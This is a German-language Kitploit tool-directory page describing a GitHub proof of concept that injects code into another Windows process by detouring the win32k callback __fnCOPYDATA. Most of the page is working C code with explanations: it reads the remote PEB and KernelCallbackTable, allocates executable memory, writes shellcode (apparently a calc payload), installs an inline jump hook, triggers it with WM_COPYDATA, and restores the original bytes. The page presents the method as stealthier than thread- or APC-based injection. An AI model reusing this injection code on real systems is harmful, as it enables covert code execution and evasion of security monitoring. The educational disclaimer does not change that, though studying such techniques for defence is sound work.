Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
win32k-callback-detouring — Missbrauch des win32k.sys-Kernel-Callback-Mechanismus für die Ausführung beliebigen Codes | Kitploit
Tools/GitHubGitHub/n0qword/win32k-callback-detouring
ExploitationShellcodePost-ExploitationLernen & BildungRed TeamingPayload-Entwicklung
GitHubn0qword/win32k-callback-detouring

win32k-callback-detouring

Missbrauch des win32k.sys-Kernel-Callback-Mechanismus für die Ausführung beliebigen Codes

Repository anzeigen
108126vor 5 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Webseite
Teilen

Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und defensiven Forschungszwecken.

Es demonstriert interne Windows-Callback-Dispatch-Mechanismen und KernelCallbackTable-bezogene Kontrollflusskonzepte im Kontext eines Proof of Concept.

  • Nicht für unbefugte Nutzung vorgesehen
  • Nicht für den operativen Einsatz konzipiert
  • Keine Stealth-/OpSec-Überlegungen
  • Nur in kontrollierten Laborumgebungen verwenden, die Ihnen gehören oder für die Sie Testberechtigung haben

Der Autor übernimmt keine Verantwortung für Missbrauch.


Win32k-Callback-Detouring: Missbrauch der legitimen Kernel-zu-Benutzer-Callback-Zustellung zur Codeausführung

Übersicht

Diese Injektionstechnik missbraucht den Kernel-zu-Benutzer-Callback-Zustellungspfad, der vom Windows-Grafiksubsystem (win32k.sys) verwendet wird, um in einem entfernten Prozess Codeausführung zu erlangen. Durch das Lokalisieren der KernelCallbackTableüber denProcess Environment Block (PEB)` des Zielprozesses kann ein Operator Callback-Einträge aufzählen und legitime User-Mode-Routinen identifizieren, die bei GUI-bezogenen Kernel-Transitionen aufgerufen werden.

Anstatt eine traditionelle KernelCallbackTable Injection durchzuführen, bei der ein Callback-Eintrag direkt mit der Shellcode-Adresse überschrieben wird, hakt diese Variante das legitime, von der Tabelle referenzierte Callback-Ziel an und leitet die Ausführung beim Aufruf zu Angreifer-kontrolliertem Shellcode um. Da die Ausführung über einen vorhandenen und erwarteten Callback-Pfad gekapert wird, kann die Technik eine heimlichere Alternative zu konventionelleren Primitiven wie der Erstellung entfernter Threads oder der APC-basierten Injection darstellen.


Den Mechanismus verstehen

Windows-Callback-Dispatch-Ablauf

Das Windows-Grafiksubsystem delegiert Teile der GUI-bezogenen Verarbeitung über einen vom Kernel-Modus initiierten Callback-Mechanismus an den Benutzermodus. Wenn win32k.sys Logik im Kontext eines GUI-Prozesses ausführen muss, ruft es KeUserModeCallback auf, um einen kontrollierten Übergang vom Kernel-Modus in den Benutzermodus durchzuführen, während die Isolationsgrenze zwischen beiden Ausführungskontexten erhalten bleibt.

Dieser Übergang etabliert den legitimen Ausführungspfad, über den der Kernel Callbacks des Grafiksubsystems in den Benutzermodus zustellt – denselben Pfad, der von der vorgestellten Technik später missbraucht wird.


KiUserCallbackDispatcher

Sobald der Übergang abgeschlossen ist, gelangt die Ausführung in KiUserCallbackDispatcher, eine ntdll.dll-Routine, die dafür zuständig ist, den vom Kernel gelieferten Callback-Index zu empfangen und die Ausführung an den entsprechenden User-Mode-Callback-Handler weiterzuleiten. Diese Routine dient als obligatorischer Einstiegspunkt für alle über KeUserModeCallback initiierten Callbacks.

Da die gesamte Callback-Auflösung an diesem Dispatcher zusammenläuft, fungiert KiUserCallbackDispatcher als zentraler Dreh- und Angelpunkt zwischen Kernel-Callback-Anfragen und ihrer letztendlichen Ausführung im Benutzermodus.


Auflösungspfad der KernelCallbackTable

Um das Ziel eines angeforderten Callbacks aufzulösen, konsultiert KiUserCallbackDispatcher die im PEB des Zielprozesses gespeicherte KernelCallbackTable. Jeder Tabelleneintrag enthält einen Zeiger auf eine User-Mode-Callback-Routine, die einer bestimmten Operation des Grafiksubsystems zugeordnet ist und in der Regel in user32.dll implementiert ist.

Traditionelle Techniken der KernelCallbackTable Injection überschreiben einen oder mehrere dieser Einträge direkt, um die Ausführung umzuleiten. Obwohl dies effektiv ist, führt die Modifikation der Tabelle selbst zu strukturellen Anomalien, die durch Integritätsprüfungen des PEB oder der Callback-Tabelleninhalte trivial erkannt werden können. Die vorgestellte Technik vermeidet dies, indem sie die Tabellenstruktur beibehält und stattdessen das vom Eintrag referenzierte Callback-Ziel mit einem Detour versieht.


__fnCOPYDATA als Ausführungsprimitive nutzen

Unter den verfügbaren KernelCallbackTable-Einträgen bietet __fnCOPYDATA eine besonders praktische Trigger-Primitive, da sie extern durch das Senden einer WM_COPYDATA-Nachricht über SendMessage() ausgelöst werden kann. Dadurch kann der Callback deterministisch ausgelöst werden, ohne dass ein ungewöhnlicher Prozesszustand oder eine komplexe Interaktion erforderlich ist.

Durch die Nutzung eines natürlich erreichbaren und häufig verwendeten Callback-Ziels erhält die Technik eine zuverlässige Ausführungsprimitive, während sie sich vor der Umleitung vollständig innerhalb der erwarteten Callback-Dispatch-Kette bewegt.


kcallbackflow


Funktionsweise

Die Technik beginnt damit, den Zielprozess zu lokalisieren und dessen PEB zu lesen, um die Adresse der KernelCallbackTable zu ermitteln, aus der der Callback-Zeiger für __fnCOPYDATA aufgelöst wird. Anschließend wird im Remote-Prozess ausführbarer Speicher alloziert und Angreifer-kontrollierter Shellcode in den allozierten Bereich geschrieben. Vor der Modifikation werden die ursprünglichen Bytes der legitimen Callback-Routine gesichert, um eine spätere Wiederherstellung zu ermöglichen.

Anschließend wird am Anfang der aufgelösten __fnCOPYDATA-Routine ein Inline-Hook installiert, der deren Prolog durch einen absoluten Sprung zum injizierten Shellcode ersetzt. Zum Auslösen der Ausführung wird eine WM_COPYDATA-Nachricht an das Zielfenster gesendet, wodurch das Windows-Grafiksubsystem __fnCOPYDATA über die standardmäßige Kernel-zu-Benutzer-Callback-Kette dispatcht. Nach Abschluss der Ausführung werden die ursprünglichen Callback-Bytes wiederhergestellt, um die Prozessstabilität zu erhalten und verbleibende Modifikationsartefakte zu reduzieren.


Implementierung

Schritt 1: PEB des Remote-Prozesses und KernelCallbackTable ermitteln

Die KernelCallbackTable befindet sich im PEB am Offset 0x58:

dt_peb

Die folgende Logik wird verwendet, um sie zu ermitteln:

root@kitploit:~
PROCESS_BASIC_INFORMATION pbi;
PEB                       peb;
KERNELCALLBACKTABLE       kct;

if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
    NtClose(hProcess);
    return 1;
}

/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

Der Code beginnt mit einem Aufruf von NtQueryInformationProcess mit der Informationsklasse ProcessBasicInformation, um eine PROCESS_BASIC_INFORMATION-Struktur zu füllen, die die PEB-Adresse des Remote-Prozesses über das Feld PebBaseAddress bereitstellt.

Als Nächstes wird NtReadVirtualMemory verwendet, um das entfernte PEB in eine lokale PEB-Struktur zu lesen, wodurch der in der Prozessumgebung gespeicherte KernelCallbackTable-Zeiger extrahiert werden kann. Nach der Validierung, dass die Callback-Tabelle vorhanden ist, kopiert ein zweiter NtReadVirtualMemory-Aufruf die entfernte KERNELCALLBACKTABLE-Struktur in den lokalen Speicher, was die direkte Auflösung von Callback-Zielen wie __fnCOPYDATA für das anschließende Detouring ermöglicht.

kct_callback


Schritt 2: Shellcode im Remote-Prozess allozieren

root@kitploit:~
 PVOID   remoteShellcodeAddr      = NULL;
    SIZE_T  shellcodeSize   = sizeof(g_CalcSh);

    if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
        if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {

            printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);

NtAllocateVirtualMemory reserviert ausführbaren Speicher im Remote-Prozess und gibt dessen Basisadresse über remoteShellcodeAddr zurück. Die Allokationsgröße wird aus der Länge des Shellcode-Puffers abgeleitet.

NtWriteVirtualMemory kopiert den Shellcode anschließend in den allozierten Bereich und hinterlegt die Payload im Zielprozess für die spätere Ausführung über den Callback-Detour.


Schritt 3: Inline-Hook installieren und Ausführung auslösen

root@kitploit:~
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {

    if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;

    Hook->pOriginalFunction     = pRemoteFunc;
    Hook->pFunctionDetour       = pRemoteDetour;

    if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;

    PVOID   pBaseAddress    = pRemoteFunc;
    SIZE_T  sRegionSize     = JMP_SIZE;
    if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;

    return 1;
}

InitializeHookRemote bereitet das entfernte Callback-Ziel für das Detouring vor, indem es die Adressen der Originalfunktion und des Detours in der INLINEHOOKTABLE-Struktur speichert. Es sichert den ursprünglichen Callback-Prolog, indem es die ersten Bytes der Zielroutine mit NtReadVirtualMemory liest, und ändert anschließend den Schutz dieser Region mithilfe von NtProtectVirtualMemory auf PAGE_EXECUTE_READWRITE, damit sie sicher gepatcht werden kann.

root@kitploit:~
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;

    BYTE    g_Jump[]   = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    UINT64  uPatch     = (UINT64)(Hook->pFunctionDetour);
    RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));

    if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;

    printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
    return 1;
}

InstallHookRemote erstellt einen absoluten x64-Jump-Stub (mov r10, <detour>; jmp r10), der die Ausführung zum injizierten Shellcode umleitet. Der Jump-Stub wird dann über NtWriteVirtualMemory an den Anfang der Ziel-Callback-Routine geschrieben und installiert so effektiv den Inline-Hook.

root@kitploit:~
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;

    ULONG   tmpProtection       = 0;
    PVOID   funcBaseAddr        = Hook->pOriginalFunction;
    SIZE_T  regionSize          = JMP_SIZE;

    NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
    NtProtectVirtualMemory(hProcess, &funcBaseAddr, &regionSize, Hook->dwOldProtection, &tmpProtection);

    return (status == STATUS_SUCCESS);
}

RemoveHookRemote stellt die ursprüngliche Callback-Routine wieder her, indem es die in der INLINEHOOKTABLE-Struktur gesicherten Prolog-Bytes zurückschreibt. Anschließend stellt es die ursprünglichen Speicherschutzattribute der gepatchten Region mithilfe von NtProtectVirtualMemory wieder her, entfernt den Inline-Hook und versetzt das Callback-Ziel in seinen ursprünglichen Zustand.

root@kitploit:~
INLINEHOOKTABLE FnCopyDataHook = { 0 };

if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
    if (InstallHookRemote(hProcess, &FnCopyDataHook)) {

        printf("[>] Triggering WM_COPYDATA callback...\n");

        COPYDATASTRUCT cds = {
            1,
            (DWORD)wcslen(msg) * sizeof(WCHAR),
            msg
        };

        SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);

        RemoveHookRemote(hProcess, &FnCopyDataHook);
    }
}

Zum Auslösen der Ausführung wird über SendMessageW eine WM_COPYDATA-Nachricht an das Zielfenster gesendet, wodurch der Windows-Callback-Dispatcher gezwungen wird, die gehookte __fnCOPYDATA-Routine über den normalen Kernel-zu-Benutzer-Callback-Pfad aufzurufen. Nach Abschluss der Ausführung stellt RemoveHookRemote die ursprünglichen Callback-Bytes wieder her, um die Prozessstabilität zu erhalten.


Ausführung

Sobald die Logik implementiert ist, kann der Proof of Concept ausgeführt werden, um das folgende Ergebnis zu erzeugen:

fin_exec

Tool herunterladen